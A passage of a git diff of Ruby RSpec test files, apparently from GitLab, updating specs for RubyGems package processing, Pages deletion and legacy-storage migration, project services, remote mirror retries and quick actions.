+ expect(gemspec_file.size).not_to be_nil
+ expect(gemspec_file.file_md5).not_to be_nil
+ expect(gemspec_file.file_sha1).not_to be_nil
+ expect(gemspec_file.file_sha256).not_to be_nil
+ end
+ end
+end
diff --git a/spec/services/packages/rubygems/metadata_extraction_service_spec.rb b/spec/services/packages/rubygems/metadata_extraction_service_spec.rb
new file mode 100644
index 00000000000..b308daad8f5
--- /dev/null
+++ b/spec/services/packages/rubygems/metadata_extraction_service_spec.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+require 'spec_helper'
+require 'rubygems/package'
+
+RSpec.describe Packages::Rubygems::MetadataExtractionService do
+ include RubygemsHelpers
+
+ let_it_be(:package) { create(:rubygems_package) }
+ let_it_be(:package_file) { create(:package_file, :gem) }
+ let_it_be(:gem) { gem_from_file(package_file.file) }
+ let_it_be(:gemspec) { gem.spec }
+
+ let(:service) { described_class.new(package, gemspec) }
+
+ describe '#execute' do
+ subject { service.execute }
+
+ it 'creates the metadata' do
+ expect { subject }.to change { Packages::Rubygems::Metadatum.count }.by(1)
+ end
+
+ it 'stores the metadata', :aggregate_failures do
+ subject
+
+ metadata = package.rubygems_metadatum
+
+ expect(metadata.authors).to eq(gemspec.authors.to_json)
+ expect(metadata.files).to eq(gemspec.files.to_json)
+ expect(metadata.summary).to eq(gemspec.summary)
+ expect(metadata.description).to eq(gemspec.description)
+ expect(metadata.email).to eq(gemspec.email)
+ expect(metadata.homepage).to eq(gemspec.homepage)
+ expect(metadata.licenses).to eq(gemspec.licenses.to_json)
+ expect(metadata.metadata).to eq(gemspec.metadata.to_json)
+ expect(metadata.author).to eq(gemspec.author)
+ expect(metadata.bindir).to eq(gemspec.bindir)
+ expect(metadata.executables).to eq(gemspec.executables.to_json)
+ expect(metadata.extensions).to eq(gemspec.extensions.to_json)
+ expect(metadata.extra_rdoc_files).to eq(gemspec.extra_rdoc_files.to_json)
+ expect(metadata.platform).to eq(gemspec.platform)
+ expect(metadata.post_install_message).to eq(gemspec.post_install_message)
+ expect(metadata.rdoc_options).to eq(gemspec.rdoc_options.to_json)
+ expect(metadata.require_paths).to eq(gemspec.require_paths.to_json)
+ expect(metadata.required_ruby_version).to eq(gemspec.required_ruby_version.to_s)
+ expect(metadata.required_rubygems_version).to eq(gemspec.required_rubygems_version.to_s)
+ expect(metadata.requirements).to eq(gemspec.requirements.to_json)
+ expect(metadata.rubygems_version).to eq(gemspec.rubygems_version)
+ end
+ end
+end
diff --git a/spec/services/packages/rubygems/process_gem_service_spec.rb b/spec/services/packages/rubygems/process_gem_service_spec.rb
new file mode 100644
index 00000000000..83e868d9579
--- /dev/null
+++ b/spec/services/packages/rubygems/process_gem_service_spec.rb
@@ -0,0 +1,134 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Packages::Rubygems::ProcessGemService do
+ include ExclusiveLeaseHelpers
+ include RubygemsHelpers
+
+ let_it_be_with_reload(:package) { create(:rubygems_package, :processing, name: 'temp_name', version: '0.0.0') }
+
+ let(:package_file) { create(:package_file, :unprocessed_gem, package: package) }
+ let(:gem) { gem_from_file(package_file.file) }
+ let(:gemspec) { gem.spec }
+ let(:service) { described_class.new(package_file) }
+
+ describe '#execute' do
+ subject { service.execute }
+
+ context 'no gem file', :aggregate_failures do
+ let(:package_file) { nil }
+
+ it 'returns an error' do
+ expect(subject.error?).to be(true)
+ expect(subject.message).to eq('Gem was not processed')
+ end
+ end
+
+ context 'success' do
+ let(:sub_service) { double }
+
+ before do
+ expect(Packages::Rubygems::MetadataExtractionService).to receive(:new).with(package, gemspec).and_return(sub_service)
+ expect(Packages::Rubygems::CreateGemspecService).to receive(:new).with(package, gemspec).and_return(sub_service)
+ expect(Packages::Rubygems::CreateDependenciesService).to receive(:new).with(package, gemspec).and_return(sub_service)
+
+ expect(sub_service).to receive(:execute).exactly(3).times.and_return(true)
+ end
+
+ it 'returns successfully', :aggregate_failures do
+ result = subject
+
+ expect(result.success?).to be true
+ expect(result.payload[:package]).to eq(package)
+ end
+
+ it 'updates the package name and version', :aggregate_failures do
+ expect(package.name).to eq('temp_name')
+ expect(package.version).to eq('0.0.0')
+ expect(package).to be_processing
+
+ subject
+
+ expect(package.reload.name).to eq('package')
+ expect(package.version).to eq('0.0.1')
+ expect(package).to be_default
+ end
+
+ it 'updates the package file name', :aggregate_failures do
+ expect(package_file.file_name).to eq('package.gem')
+
+ subject
+
+ expect(package_file.reload.file_name).to eq('package-0.0.1.gem')
+ end
+ end
+
+ context 'when the package already exists' do
+ let_it_be(:existing_package) { create(:rubygems_package, name: 'package', version: '0.0.1', project: package.project) }
+
+ let(:sub_service) { double }
+
+ before do
+ expect(Packages::Rubygems::MetadataExtractionService).to receive(:new).with(existing_package, gemspec).and_return(sub_service)
+ expect(Packages::Rubygems::CreateGemspecService).to receive(:new).with(existing_package, gemspec).and_return(sub_service)
+ expect(Packages::Rubygems::CreateDependenciesService).to receive(:new).with(existing_package, gemspec).and_return(sub_service)
+
+ expect(sub_service).to receive(:execute).exactly(3).times.and_return(true)
+ end
+
+ it 'assigns the package_file to the existing package and deletes the temporary package', :aggregate_failures do
+ expect(package).to receive(:destroy)
+
+ expect { subject }.to change { existing_package.package_files.count }.by(1)
+
+ expect(package_file.reload.package).to eq(existing_package)
+ end
+ end
+
+ context 'sub-service failure' do
+ before do
+ expect(Packages::Rubygems::MetadataExtractionService).to receive(:new).with(package, gemspec).and_raise(::Packages::Rubygems::ProcessGemService::ExtractionError.new('failure'))
+ end
+
+ it 'returns an error' do
+ expect { subject }.to raise_error(::Packages::Rubygems::ProcessGemService::ExtractionError, 'failure')
+ end
+ end
+
+ context 'bad gem file' do
+ before do
+ expect(Gem::Package).to receive(:new).and_raise(ArgumentError)
+ end
+
+ it 'returns an error' do
+ expect { subject }.to raise_error(::Packages::Rubygems::ProcessGemService::ExtractionError, 'Unable to read gem file')
+ end
+ end
+
+ context 'without obtaining an exclusive lease' do
+ let(:lease_key) { "packages:rubygems:process_gem_service:package:#{package.id}" }
+
+ before do
+ stub_exclusive_lease_taken(lease_key, timeout: 1.hour)
+ end
+
+ it 'does not perform the services', :aggregate_failures do
+ # The #use_file call triggers a separate lease on the package file being opened
+ # for use with the gem. We don't want to test that here, so we allow the call to proceed
+ expect(Gitlab::ExclusiveLease).to receive(:new).with("object_storage_migrate:Packages::PackageFile:#{package_file.id}", anything).and_call_original
+
+ expect(Packages::Rubygems::MetadataExtractionService).not_to receive(:new)
+ expect(Packages::Rubygems::CreateGemspecService).not_to receive(:new)
+ expect(Packages::Rubygems::CreateDependenciesService).not_to receive(:new)
+
+ subject
+
+ expect(package.reload.name).to eq('temp_name')
+ expect(package.version).to eq('0.0.0')
+ expect(package).to be_processing
+ expect(package_file.reload.file_name).to eq('package.gem')
+ end
+ end
+ end
+end
diff --git a/spec/services/pages/delete_service_spec.rb b/spec/services/pages/delete_service_spec.rb
new file mode 100644
index 00000000000..a79c89a1c35
--- /dev/null
+++ b/spec/services/pages/delete_service_spec.rb
@@ -0,0 +1,80 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Pages::DeleteService do
+ let_it_be(:admin) { create(:admin) }
+
+ let(:project) { create(:project, path: "my.project")}
+ let!(:domain) { create(:pages_domain, project: project) }
+ let(:service) { described_class.new(project, admin)}
+
+ before do
+ project.mark_pages_as_deployed
+ end
+
+ it 'deletes published pages', :sidekiq_inline do
+ expect(project.pages_deployed?).to be(true)
+
+ expect_next_instance_of(Gitlab::PagesTransfer) do |pages_transfer|
+ expect(pages_transfer).to receive(:rename_project).and_return true
+ end
+
+ expect(PagesWorker).to receive(:perform_in).with(5.minutes, :remove, project.namespace.full_path, anything)
+
+ service.execute
+
+ expect(project.pages_deployed?).to be(false)
+ end
+
+ it "doesn't remove anything from the legacy storage", :sidekiq_inline do
+ allow(Settings.pages.local_store).to receive(:enabled).and_return(false)
+
+ expect(project.pages_deployed?).to be(true)
+ expect(PagesWorker).not_to receive(:perform_in)
+
+ service.execute
+
+ expect(project.pages_deployed?).to be(false)
+ end
+
+ it 'deletes all domains', :sidekiq_inline do
+ expect(project.pages_domains.count).to eq(1)
+
+ service.execute
+
+ expect(project.reload.pages_domains.count).to eq(0)
+ end
+
+ it 'schedules a destruction of pages deployments' do
+ expect(DestroyPagesDeploymentsWorker).to(
+ receive(:perform_async).with(project.id)
+ )
+
+ service.execute
+ end
+
+ it 'removes pages deployments', :sidekiq_inline do
+ create(:pages_deployment, project: project)
+
+ expect do
+ service.execute
+ end.to change { PagesDeployment.count }.by(-1)
+ end
+
+ it 'marks pages as not deployed, deletes domains and schedules worker to remove pages from disk' do
+ expect(project.pages_deployed?).to eq(true)
+ expect(project.pages_domains.count).to eq(1)
+
+ service.execute
+
+ expect(project.pages_deployed?).to eq(false)
+ expect(project.pages_domains.count).to eq(0)
+
+ expect_next_instance_of(Gitlab::PagesTransfer) do |pages_transfer|
+ expect(pages_transfer).to receive(:rename_project).and_return true
+ end
+
+ Sidekiq::Worker.drain_all
+ end
+end
diff --git a/spec/services/pages/delete_services_spec.rb b/spec/services/pages/delete_services_spec.rb
deleted file mode 100644
index f1edf93b0c1..00000000000
--- a/spec/services/pages/delete_services_spec.rb
+++ /dev/null
@@ -1,76 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Pages::DeleteService do
- let_it_be(:admin) { create(:admin) }
-
- let(:project) { create(:project, path: "my.project")}
- let!(:domain) { create(:pages_domain, project: project) }
- let(:service) { described_class.new(project, admin)}
-
- before do
- project.mark_pages_as_deployed
- end
-
- it 'deletes published pages', :sidekiq_inline do
- expect(project.pages_deployed?).to be(true)
-
- expect_any_instance_of(Gitlab::PagesTransfer).to receive(:rename_project).and_return true
- expect(PagesWorker).to receive(:perform_in).with(5.minutes, :remove, project.namespace.full_path, anything)
-
- service.execute
-
- expect(project.pages_deployed?).to be(false)
- end
-
- it "doesn't remove anything from the legacy storage if updates on it are disabled", :sidekiq_inline do
- stub_feature_flags(pages_update_legacy_storage: false)
-
- expect(project.pages_deployed?).to be(true)
-
- expect(PagesWorker).not_to receive(:perform_in)
-
- service.execute
-
- expect(project.pages_deployed?).to be(false)
- end
-
- it 'deletes all domains', :sidekiq_inline do
- expect(project.pages_domains.count).to eq(1)
-
- service.execute
-
- expect(project.reload.pages_domains.count).to eq(0)
- end
-
- it 'schedules a destruction of pages deployments' do
- expect(DestroyPagesDeploymentsWorker).to(
- receive(:perform_async).with(project.id)
- )
-
- service.execute
- end
-
- it 'removes pages deployments', :sidekiq_inline do
- create(:pages_deployment, project: project)
-
- expect do
- service.execute
- end.to change { PagesDeployment.count }.by(-1)
- end
-
- it 'marks pages as not deployed, deletes domains and schedules worker to remove pages from disk' do
- expect(project.pages_deployed?).to eq(true)
- expect(project.pages_domains.count).to eq(1)
-
- service.execute
-
- expect(project.pages_deployed?).to eq(false)
- expect(project.pages_domains.count).to eq(0)
-
- expect_any_instance_of(Gitlab::PagesTransfer).to receive(:rename_project).and_return true
-
- Sidekiq::Worker.drain_all
- end
-end
diff --git a/spec/services/pages/migrate_from_legacy_storage_service_spec.rb b/spec/services/pages/migrate_from_legacy_storage_service_spec.rb
index 4ec57044912..d058324f3bb 100644
--- a/spec/services/pages/migrate_from_legacy_storage_service_spec.rb
+++ b/spec/services/pages/migrate_from_legacy_storage_service_spec.rb
@@ -3,90 +3,135 @@
require 'spec_helper'
RSpec.describe Pages::MigrateFromLegacyStorageService do
- let(:service) { described_class.new(Rails.logger, migration_threads: 3, batch_size: 10, ignore_invalid_entries: false) }
+ let(:batch_size) { 10 }
+ let(:mark_projects_as_not_deployed) { false }
+ let(:service) { described_class.new(Rails.logger, ignore_invalid_entries: false, mark_projects_as_not_deployed: mark_projects_as_not_deployed) }
- it 'does not try to migrate pages if pages are not deployed' do
- expect(::Pages::MigrateLegacyStorageToDeploymentService).not_to receive(:new)
+ shared_examples "migrates projects properly" do
+ it 'does not try to migrate pages if pages are not deployed' do
+ expect(::Pages::MigrateLegacyStorageToDeploymentService).not_to receive(:new)
- expect(service.execute).to eq(migrated: 0, errored: 0)
- end
+ is_expected.to eq(migrated: 0, errored: 0)
+ end
- it 'uses multiple threads' do
- projects = create_list(:project, 20)
- projects.each do |project|
- project.mark_pages_as_deployed
+ context 'when pages are marked as deployed' do
+ let(:project) { create(:project) }
- FileUtils.mkdir_p File.join(project.pages_path, "public")
- File.open(File.join(project.pages_path, "public/index.html"), "w") do |f|
- f.write("Hello!")
+ before do
+ project.mark_pages_as_deployed
end
- end
-
- service = described_class.new(Rails.logger, migration_threads: 3, batch_size: 2, ignore_invalid_entries: false)
- threads = Concurrent::Set.new
+ context 'when pages directory does not exist' do
+ context 'when mark_projects_as_not_deployed is set' do
+ let(:mark_projects_as_not_deployed) { true }
- expect(service).to receive(:migrate_project).exactly(20).times.and_wrap_original do |m, *args|
- threads.add(Thread.current)
+ it 'counts project as migrated' do
+ expect_next_instance_of(::Pages::MigrateLegacyStorageToDeploymentService, project, ignore_invalid_entries: false, mark_projects_as_not_deployed: true) do |service|
+ expect(service).to receive(:execute).and_call_original
+ end
- # sleep to be 100% certain that once thread can't consume all the queue
- # it works without it, but I want to avoid making this test flaky
- sleep(0.01)
+ is_expected.to eq(migrated: 1, errored: 0)
+ end
+ end
- m.call(*args)
- end
+ it 'counts project as errored' do
+ expect_next_instance_of(::Pages::MigrateLegacyStorageToDeploymentService, project, ignore_invalid_entries: false, mark_projects_as_not_deployed: false) do |service|
+ expect(service).to receive(:execute).and_call_original
+ end
- expect(service.execute).to eq(migrated: 20, errored: 0)
- expect(threads.length).to eq(3)
- end
+ is_expected.to eq(migrated: 0, errored: 1)
+ end
+ end
- context 'when pages are marked as deployed' do
- let(:project) { create(:project) }
+ context 'when pages directory exists on disk' do
+ before do
+ FileUtils.mkdir_p File.join(project.pages_path, "public")
+ File.open(File.join(project.pages_path, "public/index.html"), "w") do |f|
+ f.write("Hello!")
+ end
+ end
- before do
- project.mark_pages_as_deployed
- end
+ it 'migrates pages projects without deployments' do
+ expect_next_instance_of(::Pages::MigrateLegacyStorageToDeploymentService, project, ignore_invalid_entries: false, mark_projects_as_not_deployed: false) do |service|
+ expect(service).to receive(:execute).and_call_original
+ end
- context 'when pages directory does not exist' do
- it 'tries to migrate the project, but does not crash' do
- expect_next_instance_of(::Pages::MigrateLegacyStorageToDeploymentService, project, ignore_invalid_entries: false) do |service|
- expect(service).to receive(:execute).and_call_original
+ expect(project.pages_metadatum.reload.pages_deployment).to eq(nil)
+ expect(subject).to eq(migrated: 1, errored: 0)
+ expect(project.pages_metadatum.reload.pages_deployment).to be
end
- expect(service.execute).to eq(migrated: 0, errored: 1)
+ context 'when deployed already exists for the project' do
+ before do
+ deployment = create(:pages_deployment, project: project)
+ project.set_first_pages_deployment!(deployment)
+ end
+
+ it 'does not try to migrate project' do
+ expect(::Pages::MigrateLegacyStorageToDeploymentService).not_to receive(:new)
+
+ is_expected.to eq(migrated: 0, errored: 0)
+ end
+ end
end
end
+ end
- context 'when pages directory exists on disk' do
- before do
- FileUtils.mkdir_p File.join(project.pages_path, "public")
- File.open(File.join(project.pages_path, "public/index.html"), "w") do |f|
- f.write("Hello!")
+ describe '#execute_with_threads' do
+ subject { service.execute_with_threads(threads: 3, batch_size: batch_size) }
+
+ include_examples "migrates projects properly"
+
+ context 'when there is work for multiple threads' do
+ let(:batch_size) { 2 } # override to force usage of multiple threads
+
+ it 'uses multiple threads' do
+ projects = create_list(:project, 20)
+ projects.each do |project|
+ project.mark_pages_as_deployed
+
+ FileUtils.mkdir_p File.join(project.pages_path, "public")
+ File.open(File.join(project.pages_path, "public/index.html"), "w") do |f|
+ f.write("Hello!")
+ end
end
- end
- it 'migrates pages projects without deployments' do
- expect_next_instance_of(::Pages::MigrateLegacyStorageToDeploymentService, project, ignore_invalid_entries: false) do |service|
- expect(service).to receive(:execute).and_call_original
+ threads = Concurrent::Set.new
+
+ expect(service).to receive(:migrate_project).exactly(20).times.and_wrap_original do |m, *args|
+ threads.add(Thread.current)
+
+ # sleep to be 100% certain that once thread can't consume all the queue
+ # it works without it, but I want to avoid making this test flaky
+ sleep(0.01)
+
+ m.call(*args)
end
- expect do
- expect(service.execute).to eq(migrated: 1, errored: 0)
- end.to change { project.pages_metadatum.reload.pages_deployment }.from(nil)
+ is_expected.to eq(migrated: 20, errored: 0)
+ expect(threads.length).to eq(3)
end
+ end
+ end
- context 'when deployed already exists for the project' do
- before do
- deployment = create(:pages_deployment, project: project)
- project.set_first_pages_deployment!(deployment)
- end
+ describe "#execute_for_batch" do
+ subject { service.execute_for_batch(Project.ids) }
- it 'does not try to migrate project' do
- expect(::Pages::MigrateLegacyStorageToDeploymentService).not_to receive(:new)
+ include_examples "migrates projects properly"
- expect(service.execute).to eq(migrated: 0, errored: 0)
+ it 'only tries to migrate projects with passed ids' do
+ projects = create_list(:project, 5)
+
+ projects.each(&:mark_pages_as_deployed)
+ projects_to_migrate = projects.first(3)
+
+ projects_to_migrate.each do |project|
+ expect_next_instance_of(::Pages::MigrateLegacyStorageToDeploymentService, project, ignore_invalid_entries: false, mark_projects_as_not_deployed: false) do |service|
+ expect(service).to receive(:execute).and_call_original
end
end
+
+ expect(service.execute_for_batch(projects_to_migrate.pluck(:id))).to eq(migrated: 0, errored: 3)
end
end
end
diff --git a/spec/services/pages/migrate_legacy_storage_to_deployment_service_spec.rb b/spec/services/pages/migrate_legacy_storage_to_deployment_service_spec.rb
index d95303c3e85..25f571a73d1 100644
--- a/spec/services/pages/migrate_legacy_storage_to_deployment_service_spec.rb
+++ b/spec/services/pages/migrate_legacy_storage_to_deployment_service_spec.rb
@@ -14,44 +14,44 @@ RSpec.describe Pages::MigrateLegacyStorageToDeploymentService do
expect(described_class.new(project, ignore_invalid_entries: true).execute[:status]).to eq(:error)
end
- it 'marks pages as not deployed if public directory is absent' do
- project.mark_pages_as_deployed
-
- expect(project.pages_metadatum.reload.deployed).to eq(true)
+ context 'when mark_projects_as_not_deployed is passed' do
+ let(:service) { described_class.new(project, mark_projects_as_not_deployed: true) }
- expect(service.execute).to(
- eq(status: :error,
- message: "Can't create zip archive: Can not find valid public dir in #{project.pages_path}")
- )
+ it 'marks pages as not deployed if public directory is absent and invalid entries are ignored' do
+ project.mark_pages_as_deployed
+ expect(project.pages_metadatum.reload.deployed).to eq(true)
- expect(project.pages_metadatum.reload.deployed).to eq(false)
- end
+ expect(service.execute).to(
+ eq(status: :success,
+ message: "Archive not created. Missing public directory in #{project.pages_path}? Marked project as not deployed")
+ )
- it 'does not mark pages as not deployed if public directory is absent but pages_deployment exists' do
- deployment = create(:pages_deployment, project: project)
- project.update_pages_deployment!(deployment)
- project.mark_pages_as_deployed
+ expect(project.pages_metadatum.reload.deployed).to eq(false)
+ end
- expect(project.pages_metadatum.reload.deployed).to eq(true)
+ it 'does not mark pages as not deployed if public directory is absent but pages_deployment exists' do
+ deployment = create(:pages_deployment, project: project)
+ project.update_pages_deployment!(deployment)
+ project.mark_pages_as_deployed
+ expect(project.pages_metadatum.reload.deployed).to eq(true)
- expect(service.execute).to(
- eq(status: :error,
- message: "Can't create zip archive: Can not find valid public dir in #{project.pages_path}")
- )
+ expect(service.execute).to(
+ eq(status: :success,
+ message: "Archive not created. Missing public directory in #{project.pages_path}? Marked project as not deployed")
+ )
- expect(project.pages_metadatum.reload.deployed).to eq(true)
+ expect(project.pages_metadatum.reload.deployed).to eq(true)
+ end
end
- it 'does not mark pages as not deployed if public directory is absent but feature is disabled' do
- stub_feature_flags(pages_migration_mark_as_not_deployed: false)
-
+ it 'does not mark pages as not deployed if public directory is absent but invalid entries are not ignored' do
project.mark_pages_as_deployed
expect(project.pages_metadatum.reload.deployed).to eq(true)
expect(service.execute).to(
eq(status: :error,
- message: "Can't create zip archive: Can not find valid public dir in #{project.pages_path}")
+ message: "Archive not created. Missing public directory in #{project.pages_path}")
)
expect(project.pages_metadatum.reload.deployed).to eq(true)
diff --git a/spec/services/pages/zip_directory_service_spec.rb b/spec/services/pages/zip_directory_service_spec.rb
index 9de68dd62bb..9cce90c6c0d 100644
--- a/spec/services/pages/zip_directory_service_spec.rb
+++ b/spec/services/pages/zip_directory_service_spec.rb
@@ -12,8 +12,10 @@ RSpec.describe Pages::ZipDirectoryService do
let(:ignore_invalid_entries) { false }
+ let(:service_directory) { @work_dir }
+
let(:service) do
- described_class.new(@work_dir, ignore_invalid_entries: ignore_invalid_entries)
+ described_class.new(service_directory, ignore_invalid_entries: ignore_invalid_entries)
end
let(:result) do
@@ -25,32 +27,32 @@ RSpec.describe Pages::ZipDirectoryService do
let(:archive) { result[:archive_path] }
let(:entries_count) { result[:entries_count] }
- it 'returns error if project pages dir does not exist' do
- expect(Gitlab::ErrorTracking).not_to receive(:track_exception)
-
- expect(
- described_class.new("/tmp/not/existing/dir").execute
- ).to eq(status: :error, message: "Can not find valid public dir in /tmp/not/existing/dir")
+ shared_examples 'handles invalid public directory' do
+ it 'returns success' do
+ expect(status).to eq(:success)
+ expect(archive).to be_nil
+ expect(entries_count).to be_nil
+ end
end
- it 'returns nils if there is no public directory and does not leave archive' do
- expect(status).to eq(:error)
- expect(message).to eq("Can not find valid public dir in #{@work_dir}")
- expect(archive).to eq(nil)
- expect(entries_count).to eq(nil)
+ context "when work direcotry doesn't exist" do
+ let(:service_directory) { "/tmp/not/existing/dir" }
- expect(File.exist?(File.join(@work_dir, '@migrated.zip'))).to eq(false)
+ include_examples 'handles invalid public directory'
end
- it 'returns nils if public directory is a symlink' do
- create_dir('target')
- create_file('./target/index.html', 'hello')
- create_link("public", "./target")
+ context 'when public directory is absent' do
+ include_examples 'handles invalid public directory'
+ end
+
+ context 'when public directory is a symlink' do
+ before do
+ create_dir('target')
+ create_file('./target/index.html', 'hello')
+ create_link("public", "./target")
+ end
- expect(status).to eq(:error)
- expect(message).to eq("Can not find valid public dir in #{@work_dir}")
- expect(archive).to eq(nil)
- expect(entries_count).to eq(nil)
+ include_examples 'handles invalid public directory'
end
context 'when there is a public directory' do
diff --git a/spec/services/projects/create_service_spec.rb b/spec/services/projects/create_service_spec.rb
index 306d87eefb8..e0d6b9afcff 100644
--- a/spec/services/projects/create_service_spec.rb
+++ b/spec/services/projects/create_service_spec.rb
@@ -673,7 +673,17 @@ RSpec.describe Projects::CreateService, '#execute' do
expect(rugged.config['gitlab.fullpath']).to eq project.full_path
end
+ it 'triggers PostCreationWorker' do
+ expect(Projects::PostCreationWorker).to receive(:perform_async).with(a_kind_of(Integer))
+
+ create_project(user, opts)
+ end
+
context 'when project has access to shared service' do
+ before do
+ stub_feature_flags(projects_post_creation_worker: false)
+ end
+
context 'Prometheus application is shared via group cluster' do
let(:cluster) { create(:cluster, :group, groups: [group]) }
let(:group) do
@@ -714,9 +724,7 @@ RSpec.describe Projects::CreateService, '#execute' do
it 'cleans invalid record and logs warning', :aggregate_failures do
invalid_service_record = build(:prometheus_service, properties: { api_url: nil, manual_configuration: true }.to_json)
- allow_next_instance_of(Project) do |instance|
- allow(instance).to receive(:build_prometheus_service).and_return(invalid_service_record)
- end
+ allow(PrometheusService).to receive(:new).and_return(invalid_service_record)
expect(Gitlab::ErrorTracking).to receive(:track_exception).with(an_instance_of(ActiveRecord::RecordInvalid), include(extra: { project_id: a_kind_of(Integer) }))
project = create_project(user, opts)
diff --git a/spec/services/projects/destroy_service_spec.rb b/spec/services/projects/destroy_service_spec.rb
index 5410e784cc0..b2a68bbd0aa 100644
--- a/spec/services/projects/destroy_service_spec.rb
+++ b/spec/services/projects/destroy_service_spec.rb
@@ -93,10 +93,26 @@ RSpec.describe Projects::DestroyService, :aggregate_failures do
destroy_project(project, user, {})
end
- it 'performs cancel for project ci pipelines' do
- expect(::Ci::AbortProjectPipelinesService).to receive_message_chain(:new, :execute).with(project)
+ context 'with abort_deleted_project_pipelines feature disabled' do
+ it 'does not cancel project ci pipelines' do
+ stub_feature_flags(abort_deleted_project_pipelines: false)
- destroy_project(project, user, {})
+ expect(::Ci::AbortPipelinesService).not_to receive(:new)
+
+ destroy_project(project, user, {})
+ end
+ end
+
+ context 'with abort_deleted_project_pipelines feature enabled' do
+ it 'performs cancel for project ci pipelines' do
+ stub_feature_flags(abort_deleted_project_pipelines: true)
+ pipelines = build_list(:ci_pipeline, 3, :running)
+ allow(project).to receive(:all_pipelines).and_return(pipelines)
+
+ expect(::Ci::AbortPipelinesService).to receive_message_chain(:new, :execute).with(pipelines, :project_deleted)
+
+ destroy_project(project, user, {})
+ end
end
context 'when project has remote mirrors' do
diff --git a/spec/services/projects/update_pages_configuration_service_spec.rb b/spec/services/projects/update_pages_configuration_service_spec.rb
index 9ef66a10f0d..58939ef4ada 100644
--- a/spec/services/projects/update_pages_configuration_service_spec.rb
+++ b/spec/services/projects/update_pages_configuration_service_spec.rb
@@ -35,7 +35,7 @@ RSpec.describe Projects::UpdatePagesConfigurationService do
end
it "doesn't update configuration files if updates on legacy storage are disabled" do
- stub_feature_flags(pages_update_legacy_storage: false)
+ allow(Settings.pages.local_store).to receive(:enabled).and_return(false)
expect(service).not_to receive(:update_file)
diff --git a/spec/services/projects/update_pages_service_spec.rb b/spec/services/projects/update_pages_service_spec.rb
index b735f4b6bc2..b11607bc213 100644
--- a/spec/services/projects/update_pages_service_spec.rb
+++ b/spec/services/projects/update_pages_service_spec.rb
@@ -16,6 +16,7 @@ RSpec.describe Projects::UpdatePagesService do
subject { described_class.new(project, build) }
before do
+ stub_feature_flags(skip_pages_deploy_to_legacy_storage: false)
project.legacy_remove_pages
end
@@ -55,8 +56,24 @@ RSpec.describe Projects::UpdatePagesService do
end
end
+ it 'creates a temporary directory with the project and build ID' do
+ expect(Dir).to receive(:mktmpdir).with("project-#{project.id}-build-#{build.id}-", anything).and_call_original
+
+ subject.execute
+ end
+
it "doesn't deploy to legacy storage if it's disabled" do
- stub_feature_flags(pages_update_legacy_storage: false)
+ allow(Settings.pages.local_store).to receive(:enabled).and_return(false)
+
+ expect(execute).to eq(:success)
+ expect(project.pages_deployed?).to be_truthy
+
+ expect(File.exist?(File.join(project.pages_path, 'public', 'index.html'))).to eq(false)
+ end
+
+ it "doesn't deploy to legacy storage if skip_pages_deploy_to_legacy_storage is enabled" do
+ allow(Settings.pages.local_store).to receive(:enabled).and_return(true)
+ stub_feature_flags(skip_pages_deploy_to_legacy_storage: true)
expect(execute).to eq(:success)
expect(project.pages_deployed?).to be_truthy
diff --git a/spec/services/projects/update_remote_mirror_service_spec.rb b/spec/services/projects/update_remote_mirror_service_spec.rb
index 30530da8013..96dbfe8e0b7 100644
--- a/spec/services/projects/update_remote_mirror_service_spec.rb
+++ b/spec/services/projects/update_remote_mirror_service_spec.rb
@@ -12,7 +12,9 @@ RSpec.describe Projects::UpdateRemoteMirrorService do
subject(:service) { described_class.new(project, project.creator) }
describe '#execute' do
- subject(:execute!) { service.execute(remote_mirror, 0) }
+ let(:retries) { 0 }
+
+ subject(:execute!) { service.execute(remote_mirror, retries) }
before do
project.repository.add_branch(project.owner, 'existing-branch', 'master')
@@ -62,8 +64,18 @@ RSpec.describe Projects::UpdateRemoteMirrorService do
allow(Gitlab::UrlBlocker).to receive(:blocked_url?).and_return(true)
end
- it 'fails and returns error status' do
+ it 'hard retries and returns error status' do
expect(execute!).to eq(status: :error, message: 'The remote mirror URL is invalid.')
+ expect(remote_mirror).to be_to_retry
+ end
+
+ context 'when retries are exceeded' do
+ let(:retries) { 4 }
+
+ it 'hard fails and returns error status' do
+ expect(execute!).to eq(status: :error, message: 'The remote mirror URL is invalid.')
+ expect(remote_mirror).to be_failed
+ end
end
end
diff --git a/spec/services/quick_actions/interpret_service_spec.rb b/spec/services/quick_actions/interpret_service_spec.rb
index bf35e72a037..9df238c6dac 100644
--- a/spec/services/quick_actions/interpret_service_spec.rb
+++ b/spec/services/quick_actions/interpret_service_spec.rb
@@ -368,24 +368,24 @@ RSpec.describe QuickActions::InterpretService do
spent_at: DateTime.current.to_date
})
end
-
- it 'returns the spend_time message including the formatted duration and verb' do
- _, _, message = service.execute('/spend -120m', issuable)
-
- expect(message).to eq('Subtracted 2h spent time.')
- end
end
shared_examples 'spend command with negative time' do
- it 'populates spend_time: -1800 if content contains /spend -30m' do
+ it 'populates spend_time: -7200 if content contains -120m' do
_, updates, _ = service.execute(content, issuable)
expect(updates).to eq(spend_time: {
- duration: -1800,
+ duration: -7200,
user_id: developer.id,
spent_at: DateTime.current.to_date
})
end
+
+ it 'returns the spend_time message including the formatted duration and verb' do
+ _, _, message = service.execute(content, issuable)
+
+ expect(message).to eq('Subtracted 2h spent time.')
+ end
end
shared_examples 'spend command with valid date' do
@@ -478,7 +478,7 @@ RSpec.describe QuickActions::InterpretService do
end
end
- shared_examples 'empty command' do |error_msg|
+ shared_examples 'failed command' do |error_msg|
it 'populates {} if content contains an unsupported command' do
_, updates, _ = service.execute(content, issuable)
@@ -607,10 +607,10 @@ RSpec.describe QuickActions::InterpretService do
issuable.update!(confidential: true)
end
- it 'does not return the success message' do
+ it 'returns an error message' do
_, _, message = service.execute(content, issuable)
- expect(message).to be_empty
+ expect(message).to eq('Could not apply confidential command.')
end
it 'is not part of the available commands' do
@@ -728,7 +728,7 @@ RSpec.describe QuickActions::InterpretService do
context 'can not be merged when logged user does not have permissions' do
let(:service) { described_class.new(project, create(:user)) }
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command', 'Could not apply merge command.' do
let(:content) { "/merge" }
let(:issuable) { merge_request }
end
@@ -737,7 +737,7 @@ RSpec.describe QuickActions::InterpretService do
context 'can not be merged when sha does not match' do
let(:service) { described_class.new(project, developer, { merge_request_diff_head_sha: 'othersha' }) }
- it_behaves_like 'empty command' do
